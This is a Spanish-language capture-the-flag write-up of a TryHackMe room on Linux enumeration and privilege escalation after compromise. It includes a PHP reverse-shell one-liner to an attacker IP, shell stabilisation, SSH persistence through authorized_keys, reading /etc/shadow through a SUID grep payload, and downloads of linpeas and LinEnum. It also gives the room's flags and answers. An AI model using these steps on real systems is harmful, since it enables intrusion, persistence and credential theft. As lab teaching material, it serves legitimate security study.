Imaginemos el escenario, hemos conseguido comprometer una máquina de alguna manera, de modo que tenemos una shell inversa en una máquina Linux, como puede ser un servidor de páginas de web.

¿Qué hacemos ahora?

Eso es lo que vamos a ver, realizando un proceso de enumeración de una máquina Linux, a fin de comprometerla y, con suerte, encontrar vulnerabilidades y formas de elevar privilegios.

Lo primero que tenemos que hacer en esta habitación de Tryhackme es subir una shell a la máquina. Navegando hasta:

http://IP_Objetivo:3000

Nos dice los dos métodos disponibles, usando la página cmd.php e insertando comandos o subiendo una shell en php y ejecutarla con cmd.php.

Opto por lo más sencillo, que es ir a cmd.php y ejecutar lo que nos dice tras abrir un escuchador Netcat en mi máquina de ataque:

php -r '$sock=fsockopen("{IP_ataque}",{Puerto_Netcat}});exec("/bin/sh -i <&3 >&3 2>&3");'

Y no me funciona, a veces pasa con estas máquinas. Uso la shell inversa de pentestmonkey, la subo, ejecuto el comando ls en el cuadro de comandos y aparece un archivo llamado uploadsshell.php.

Lo visito y ya tengo shell inversa. En fin.

Como referencia, he aquí otros métodos de obtener shells inversas.

Unidad 1. Tty

Una shell inversa de Netcat es demasiado frágil y puedes perder la conexión con cualquier error tonto, así que es hora de tener una consola «normal» o tty (text terminal).

Una terminal estabilizada también nos permitirá ejecutar comandos como sudo o su.

Una de las maneras más sencillas de estabilizar es mediante Python, que está instalado en casi toda máquina Linux.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Lo que queremos en general para estabilizar es que una herramienta externa ejecute /bin/bash por nosotros. Un excelente punto de partida es Python.

Si nos fijamos, lo que estamos haciendo es ejecutar un miniscript de Python basado en importar el módulo pty y usar su método spawn para invocar a bash.

Como nota, mi método preferido de estabilización de shells y que no es muy conocido se basa en usar script, el cual también suele estar instalado en casi todos los Linux.

script -qc /bin/bash /dev/null

Más información sobre otros métodos de estabilización de shells.

Nos pregunta cómo ejecutaríamos /bin/bash usando perl. He aquí diversas maneras de invocar una shell TTY, entre ellas, perl.

perl -e ‘exec “/bin/bash”;

Unidad 2. SSH

Siempre deberíamos intentar acceder por una shell normal a la máquina. Para eso, el archivo id_rsa contiene una llave privada que nos permitiría conectar por ssh.

Normalmente, está ubicada en el directorio .ssh dentro de la carpeta /home del usuario.

Vamos a obtener ese archivo y darle permisos de lectura y escritura, para luego conectar desde nuestra máquina de ataque con:

ssh -i id_rsa usuario@IP_objetivo

En el caso de esta máquina, no tenemos generada una llave id_rsa o puede que no tengamos permisos para leer el archivo.

No pasa nada, podemos ganar acceso estable ssh generando una llave propia en nuestra máquina de ataque e incluyendo una clave asociada en el archivo authorized_keys de la máquina objetivo.

Para eso, ejecutamos:

ssh-keygen

Eso genera un archivo id_rsa y otro id_rsa.pub en el directorio .ssh de nuestra máquina de ataque.

Ahora, copiamos el contenido del archivo id_rsa.pub y lo ponemos dentro de authorized_keys en la máquina objetivo y que se encuentra en el directorio .ssh de allí.

Una vez hecho eso, conectamos por ssh.

¿Dónde se suele encontrar el archivo id_rsa?

/home/user/.ssh/id_rsa

¿Hay uno en la máquina? (yay/nay)

nay

Unidad 2. Enumeración básica

1. Información básica

Comencemos por lo básico:

uname -a

Eso nos dará información del sistema, como la distro y su versión, pudiendo buscar posibles vulnerabilidades.

2. Archivos bash autogenerados

Bash mantiene un registro de nuestras acciones en texto plano dentro del archivo ~/.bash_history.

Si tenemos permiso de lectura, hemos de echarle un vistazo y con suerte conseguiremos información sensible, como contraseñas.

.bash_profile y .bashrc son archivos que contienen comandos de shell que se ejecutan al invocar Bash. Estos archivos pueden contener alguna configuración de inicio interesante y revelar alguna información. Por ejemplo, alias.

3. Versión de sudo

Lo siguiente es comprobar la versión de sudo, uno de los comandos fundamentales y objetivo habitual en la escalada de privilegios.

sudo -V

Por ejemplo, las versiones inferiores a 1.8.28 son vulnerables al CVE-2019-14287, que permite acceso de administrador con un solo comando.

Comprobar derechos de sudo

Los usuarios pueden ser asignados para que usen sudo mediante el archivo /etc/sudoers, un archivo personalizable que permite limitar o abrir acceso a un amplio rango de permisos.

sudo -l

Muchos de los comandos que permiten escalar privilegios mediante trucos sencillos están descritos en GTFObins.

¿Cómo imprimes en pantalla el nombre de la máquina hardware solamente?

uname -m

¿Dónde puedes encontrar la historia de bash?

~/.bash_history

¿Cuál es la bandera? (está en .bash_history)

thm{clear_the_history}

Unidad 3. /etc

El directorio /etc es una localización centralizada de archivos de configuración, un sistema nervioso central metafórico de la máquina Linux.

Leer archivos de ahí nos puede suministrar información sensible y útil.

/etc/passwd

Es un archivo de texto plano con información esencial de las cuentas del sistema, como su ID, nombre de usuario, directorio home, etc.

cat /etc/passwd

Cada línea representa una cuenta creada en el sistema y cada campo de la línea tiene un valor diferente separado por dos puntos «:».

Por ejemplo:

goldfish❌1003:1003:,,,:/home/goldfish:/bin/bash
  • goldfish es el nombre de usuario.
  • x es la contraseña, la aparición de una x indica que es una contraseña encriptada guardada en el archivo /etc/shadow y por tanto no se muestra aquí.
  • 1003 es el ID de Usuario (UID). Cada usuario que no sea root tiene su propio ID. El ID 0 está reservado a root.
  • 1003 es el ID de Grupo (GID).
  • ,,, es la información adicional del usuario, como nombre, teléfono y apellido. Las tres comas significan que no se ha introducido esa información adicional.
  • /home/goldfish es el directorio home del usuario.
  • /bin/bash es la shell usada por el usuario. Estos tienen a Basj normalmente, mientras que los servicios corren en /usr/sbin/nologin

¿Cómo nos es útil todo esto?

Si tenemos al menos acceso de lectura, podemos enumerar usuarios del sistema, servicios y otras cuentas, lo que puede abrir vectores.

Si tuviéramos acceso de escritura, podemos obtener acceso de administrador creando una entrada personalizada con privilegios de root. Más información sobre ese proceso en este artículo.

/etc/shadow

Este azrchivo guarda las contraseñas en formato hash. Esas contraseñas tienen una estructura bastante similar, pudiendo identificar el formato de hash y tratando de romperlo para obtener la contraseña.

Podemos leer /etc/shadow para conseguir contraseñas y escalar.

Examinemos una línea típica del archivo /etc/shadow.

goldfish:$6$1FiLdnFwTwNWAqYN$WAdBGfhpwSA4y5CHGO0F2eeJpfMJAMWf6MHg7pHGaHKmrkeYdVN7fD.AQ9nptLkN7JYvJyQrfMcfmCHK34S.a/:18483:0:99999:7:::
  • goldfish es el nombre de usuario.
  • $6$1FiLdnFwT… es la contraseña encriptada, la estructura básica es $id$sal$contraseñahasheada. El $id es el algoritmo que usa GNU/Linux y que es:
    • $1$ es MD5
    • $2a$ es Blowfish
    • $2y$ es Blowfish
    • $5$ es SHA-256
    • $6$ es SHA-512
  • 18483 es el último cambio de contraseña expresado en días que han pasado desde el 1 de enero de 1970.
  • 0 es el mínimo de días que se requieren antes de cambiar la contraseña (o sea, que 0 significa que la puedes cambiar inmediatamente).
  • 99999 es el máximo de días en los que una contraseña es válida.
  • 7 son los días que pasarán antes de que se advierta al usuario de que cambie de contraseña.

Si tenemos permisos de lectura de este archivo, podemos romper la contraseña usando algún método apropiado.

Si tenemos permisos de escritura significa que podemos añadir una entrada personalizada con un nuevo usuario root.

/etc/hosts

Es un archivo de texto que permite a los usuarios asignar un nombre de dispositivo (hostname) a una dirección IP específica.

En términos generales, un hostname es un nombre que se asigna a un determinado dispositivo dentro de una red. Ayuda a distinguir un dispositivo de otro.

El hostname para una máquina en una red casera puede ser lo que quiera el usuario: DesktopPC, MyLaptop, etc.

Por ejemplo, podemos añadir una entrada a la máquina víctima en este caso asignando su IP a un nombre como box.thm, por ejemplo.

Añadiendo una entrada a /etc/hosts

¿Para qué necesitamos esto? En un test de penetración real, este archivo puede revelar una dirección local de dispositivos en la misma red, permitiendo enumerarla a fondo.

¿Se puede leer el archivo /etc/passwd en la máquina víctima de esta habitación? (yay/nay).

yay

Unidad 4. El comando find para encontrar archivos interesantes

Las opciones más importantes son -type y -name.

El comando find en acción

Algunos archivos interesantes que querremos buscar:

  • .log que son registros.
  • .conf que son de configuración.
  • .bak que son copias de seguridad.

He aquí una lista de extensiones habituales a buscar en la enumeración.

¿Cuál es la contraseña que hemos encontrado? La pista nos dice que está en un archivo de copia de seguridad que es passwords.bak cuando lo buscamos. Lo leemos y…

THMSkidyPass

¿Hemos encontrado una bandera? La pista nos dice que está en un archivo .conf.

Hay un millón de archivos de este tipo, así que para acortar ejecuto:

find / -type f -name "*flag*.conf" 2>/dev/null

Y aparece /etc/sysconf/flag.conf que leo.

thm{conf_file}

Unidad 5. SUID

Set User ID (SUID) es un tipo de permiso que permite a los usuarios ejecutar un archivo con los permisos de otro usuario.

Esos archivos suelen tener privilegios elevados y si accedemos a un sistema como usuario no administrador y encontramos binarios con el bit SUID habilitado, pueden ser ejecutados con privilegios de root.

Podemos encontrar archivos SUID con:

find / -type f -perm -u=s 2>/dev/null # O bien con...
find / -type f -perm /4000 2>/dev/null # /2000 sería para SGID y /6000 para SUID y SGID o bien...
find / -type f -perm -4000 2>/dev/null

Después de encontrar archivos SUID, comparamos la lista con GTFObins para ver si hay alguna manera de abusar de ellos a la hora de obtener privilegios elevados.

¿Qué binario SUID tiene una manera de escalar privilegios en esta máquina?

grep

¿Cuál es el payload que puedes usar para leer /etc/shadow con este SUID? (Me voy a GTFObins y lo estudio).

grep “ /etc/shadow

Bonus. Reenvío de puertos (port forwarding)

El reenvío de puertos permite atravesar cortafuegos, pero también darnos una oportunidad de enumerar algunos servicios locales y procesos que corren en la máquina.

El comando netstat de Linux nos da información sobre las conexiones de red, los puertos en uso y los procesos que los utilizan.

A fin de ver todas las conexiones TCP, ejecutamos:

netstat -at | less

Esto nos da una lista de procesos en ejecución que usan TCP, a partir de aquí podemos enumerar procesos fácilmente y conseguir información valiosa.

Para obtener una mejor salida de los datos más interesantes podemos usar…

netstat -tulpn

Más información sobre reenvío de puertos.

Unidad 6. Scripts automatizados

Son una forma de no dejarse nada por error. Los más famosos son.

Linpeas

Lo podemos conseguir con:

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

Busca contraseñas, archivos SUID y derechos de sudo de los que abusar. Normalmente lo tenemos en nuestra máquina de ataque y lo subimos a la víctima, o lo descargamos directamente a la víctima con el comando anterior.

Luego le damos permisos de ejecución y lo usamos.

Linenum

Algo más fácil que Linpeas, lo podemos conseguir con:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Es interesante correr siempre más de uno, ya que se especializan en diferentes cosas.